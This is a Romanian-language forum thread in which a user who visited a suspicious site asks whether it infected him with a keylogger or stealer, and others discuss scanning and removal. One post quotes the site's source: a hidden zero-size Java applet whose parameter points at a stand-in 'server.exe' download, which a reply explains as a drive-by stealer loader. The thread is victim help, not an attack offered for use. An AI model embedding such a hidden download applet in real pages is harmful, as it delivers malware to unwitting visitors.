Infectare cu keylogger / stealer

[vevera]

scuze ca ma bag si eu pe aici

doar 41 de fisiere infectate , deocamdata:D

si nu a trecut de C :))

[Happiness.]

scuze ca ma bag si eu pe aici

doar 41 de fisiere infectate , deocamdata:D

si nu a trecut de C :))

Ma bucur ca va este de folos . :)

[Xcite]

scuze ca ma bag si eu pe aici

doar 41 de fisiere infectate , deocamdata:D

si nu a trecut de C :))

Ma bucur ca va este de folos . :)

Da , dar si sa gaseasca keyloggerul daca chiar am si sa il sterg sa scap fara reinstall windows

[D.Ciprian]

Salut , am intrat din greseala azi pe un site si am vazut ca nu apare nimic , site-ul fiind al unui hacker , bine e un fost site . Dupa ce am deschis sa blocat unpic si am inchis cat de repede am putut. Pe urma am intrat de pe un pc din sua ca sa iau sursa paginii , si am vazut urmatorul cod:

Code: Select all

<APPLET CODE = "Client.class" ARCHIVE = "Client.jar" WIDTH = "0" HEIGHT = "0">
    <PARAM NAME = "AMLMAFOIEA" VALUE = "http://site.com/server.exe">
</APPLET>

E vreo posibilitate sa fie un keylogger / stealer ? Nu am procese deschise , nu am downloadat niciun execubatil . Sau ce program pot folosi sau ce pot sa fac ca sa verific daca nu am vreun keylogger prin pc . Nu vreau sa veniti toti 'desteptii' dai un reinstall windows , m-am saturat , asta stiti toti vreau ceva fara reinstall . Multumesc

In caz ca este exact codul care ni l-ai spus tu aici este o alta treaba decat downloadarea directa a keylogger-ului .
Un caz asemanator a fost si la noi , respectiv CristiaN care a intrat pe un site de pe care i-au fost furate conturile . Aici daca tu ai java activat sunt sanse ca acesta sa downloadeze singur programul pentru ca este o comanda de download prin java ( <APPLET CODE = "Client.class" ARCHIVE = "Client.jar" WIDTH = "0" HEIGHT = "0"> ) .

In al doilea rand se poate sa nu fii luat pentru ca daca nu ti-a aparut fereastra de run de la JAVA si nu ai acceptat pornirea acelui stealer ( <PARAM NAME = "AMLMAFOIEA" VALUE = "http://site.com/server.exe"> ) Dar daca tu ai selectat RUN fii sigur ca ai luat stealer . Foloseste programul de la Happiness pentru ca este cel mai bun . Dar tot se merita un FORMAT pentru astfel de cazuri .

Sper sa te fii ajutat (informat).

[Xcite]

Multumesc pentru informatii Apaa.Plataa , scanarea continua si acum , iar faza cu downloadul , nu mi-a cerut sa downloadez nimic . Cand am intrat pe PC-ul din SUA am intrat si zicea intr-o bara gen cea la pop-up scria ceva legat de ActiveX . Acuma nu stiu sa vad , sa se termine scanarea .

[Happiness.]

Multumesc pentru informatii Apaa.Plataa , scanarea continua si acum , iar faza cu downloadul , nu mi-a cerut sa downloadez nimic . Cand am intrat pe PC-ul din SUA am intrat si zicea intr-o bara gen cea la pop-up scria ceva legat de ActiveX . Acuma nu stiu sa vad , sa se termine scanarea .

Scaneaza toate sectoarele .

[vevera]

le repara automat singur?Chiar daca e trial?

[Happiness.]

Da , le sterge la final . :)

[vevera]

cateva is si din windows,daca le sterg mai merge windowsu?:))

[Happiness.]

Da , normal . :))
Dar depinde , care .

[vevera]

[Happiness.]

OMFG , DE CAND NU AI MAI DAT O SCANARE ? =)))
Dai DELETE TATAAA . :))